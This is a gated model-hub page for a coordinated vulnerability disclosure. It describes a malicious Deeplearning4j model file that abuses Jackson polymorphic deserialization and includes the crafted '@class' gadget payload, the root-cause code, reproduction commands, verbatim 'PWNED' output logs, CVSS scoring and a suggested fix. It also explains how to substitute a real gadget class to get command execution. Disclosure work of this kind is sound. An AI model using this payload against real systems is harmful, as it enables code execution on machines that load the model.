You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
These are deliberately malicious Eclipse Deeplearning4j (DL4J) model files that trigger unsafe Jackson polymorphic deserialization (arbitrary class instantiation, private-field injection, and arbitrary static-initializer execution) when loaded with the standard ModelSerializer.restore* API. They are provided solely for coordinated vulnerability disclosure and defensive verification. Use them only inside an isolated sandbox; do not redistribute. By requesting access you confirm you will load these artifacts only in an isolated sandbox, will not redistribute them, and understand they are bug-triggering security-research artifacts. Access is granted to protectai-bot for huntr bounty review and to the vendor for coordinated disclosure.
Log in or Sign Up to review the conditions and access this model content.
DL4J configuration.json Jackson @JsonTypeInfo(Id.CLASS) polymorphic deserialization β gated PoC
Coordinated-disclosure security-research artifact. Gated β keep private until a fix ships.
β οΈ What these files are
evil_model.zip is a real, trained Eclipse Deeplearning4j model whose configuration.json has a single field
(activationFn) replaced with a malicious Jackson @class gadget object. The original weights
(coefficients.bin) are intact, so the file looks like a normal model. Loading it with DL4J's standard
ModelSerializer.restoreMultiLayerNetwork(File) causes DL4J to instantiate the named class, inject
attacker-controlled state into its private fields, and run its static initializer β during the model load,
before any inference. These files trigger code paths that lead to code execution; load them only in an
isolated sandbox.
The model file(s)
| File | What it does on load |
|---|---|
evil_model.zip |
configuration.json activationFn = {"@class":"poc.EvilActivation","cmd":"id"}; on restoreMultiLayerNetwork the gadget's static-init + constructor run and the private cmd field is injected. The bundled EvilActivation demo class only prints loud markers (no shell) β substitute any classpath gadget assignable to one of the 27 DL4J config interfaces to demonstrate a real side effect. |
poc/configuration_evil.json |
the full crafted config (for inspection). |
Root cause (code)
DL4J 1.0.0-M2.1, org.deeplearning4j:deeplearning4j-nn:
// MultiLayerConfiguration.java:134 β mapper(): a BARE new ObjectMapper(), NO PolymorphicTypeValidator
// MultiLayerConfiguration.java:159 β fromJson(json) -> mapper().readValue(...)
// IWeightInit.java:29 (one of 27 such config interfaces):
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.PROPERTY, property = "@class")
public interface IWeightInit extends Serializable { ... }
org.nd4j.linalg.activations.IActivation is also @JsonAutoDetect(fieldVisibility = ANY), so Jackson writes
attacker values directly into private fields. Because the mapper has no PolymorphicTypeValidator, any
@class assignable to one of the 27 interfaces is instantiated, and Id.CLASS resolution runs
Class.forName (static init) on the named class before the assignability check β so any class on the
classpath can have its <clinit> triggered.
Reproduction
# Build the DL4J 1.0.0-M2.1 classpath (deeplearning4j-core + nd4j-native-platform) into one jar, then:
javac -cp <dl4j-classpath.jar> -d ./out ./poc/*.java
java -cp ./out:<dl4j-classpath.jar> poc.Victim
# or load the provided artifact directly:
# ModelSerializer.restoreMultiLayerNetwork(new File("evil_model.zip"))
poc/Dockerfile + poc/RUN.md reproduce the exact environment (Docker eclipse-temurin:11-jdk). The
driver poc/Victim.java trains a baseline model, crafts the malicious config, and runs T2a/T2b/T2c/T3.
Observed results (verbatim)
logs/victim_stdout_full.log (full attribution stacks). Key lines:
========== T2a: MultiLayerConfiguration.fromJson(craftedJson) ==========
!!! PWNED (EvilActivation static-init) β config.json @class polymorphism !!!
!!! PWNED (EvilActivation ctor) β Jackson instantiated assignable subtype !!!
fromJson returned without exception
T2a marker_activation present = true (threw=false)
T2a FIELD-INJECTION: EvilActivation.cmd (private field) deserialized to = "id" <== attacker-controlled state injected into private field
========== T2b: ModelSerializer.restoreMultiLayerNetwork(evil_model.zip) ==========
!!! PWNED (EvilActivation ctor) β Jackson instantiated assignable subtype !!!
restoreMultiLayerNetwork returned without exception
T2b marker_activation present = true (threw=false)
========== T2c: NEGATIVE CONTROL β unmodified config ==========
T2c marker_activation present (should be FALSE) = false
========== T3: init-before-check probe (EvilNotActivation, NON-assignable) ==========
!!! EvilNotActivation static-init FIRED β Class.forName ran BEFORE subtype check !!!
T3 EvilNotActivation static-init fired = true (threw=true)
T3 VERDICT: init-before-check = YES (arbitrary-static-init primitive)
Attribution stack proving the common loader path (no normalizer variant):
at org.deeplearning4j.nn.conf.MultiLayerConfiguration.fromJson(MultiLayerConfiguration.java:159)
at org.deeplearning4j.util.ModelSerializer.restoreMultiLayerNetworkHelper(ModelSerializer.java:323)
at org.deeplearning4j.util.ModelSerializer.restoreMultiLayerNetwork(ModelSerializer.java:237)
at org.deeplearning4j.util.ModelSerializer.restoreMultiLayerNetwork(ModelSerializer.java:221)
at org.deeplearning4j.util.ModelSerializer.restoreMultiLayerNetwork(ModelSerializer.java:207)
Affected versions
All Eclipse Deeplearning4j versions β€ 1.0.0-M2.1 (entire release history; M2.1 is the current latest). No fix exists.
Severity (CVSS)
- Lead (conditional RCE):
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H= 7.8 High - Floor (unconditional primitive β instantiation + field injection + arbitrary static-init):
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L= 5.3 Medium - AV:N ceiling (hub-delivered model):
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H= 8.8 High (noted).
Turnkey OS command execution is conditional on a side-effecting gadget class (assignable to one of the 27
config interfaces) on the victim's broader/transitive classpath β none in vanilla deeplearning4j-core,
common in serving stacks. No shell is demonstrated here.
CWE
CWE-502 (Deserialization of Untrusted Data).
Suggested fix
Attach a PolymorphicTypeValidator (subtype allowlist) to the config ObjectMapper in
MultiLayerConfiguration.mapper() / ComputationGraphConfiguration, or migrate the 27 @JsonTypeInfo
annotations from use = Id.CLASS to use = Id.NAME with explicit @JsonSubTypes.
Responsible disclosure
Reported via huntr (ProtectAI). This repo is gated and kept private until the vendor ships a fix and
publication is agreed. Do not redistribute. Distinct from CVE-2025-53001 (the preprocessor.bin /
ObjectInputStream sink) β a different ZIP entry, deserialization engine, and fix surface; a JEP-290
ObjectInputFilter does not mitigate this Jackson path. Credit: j0hndo.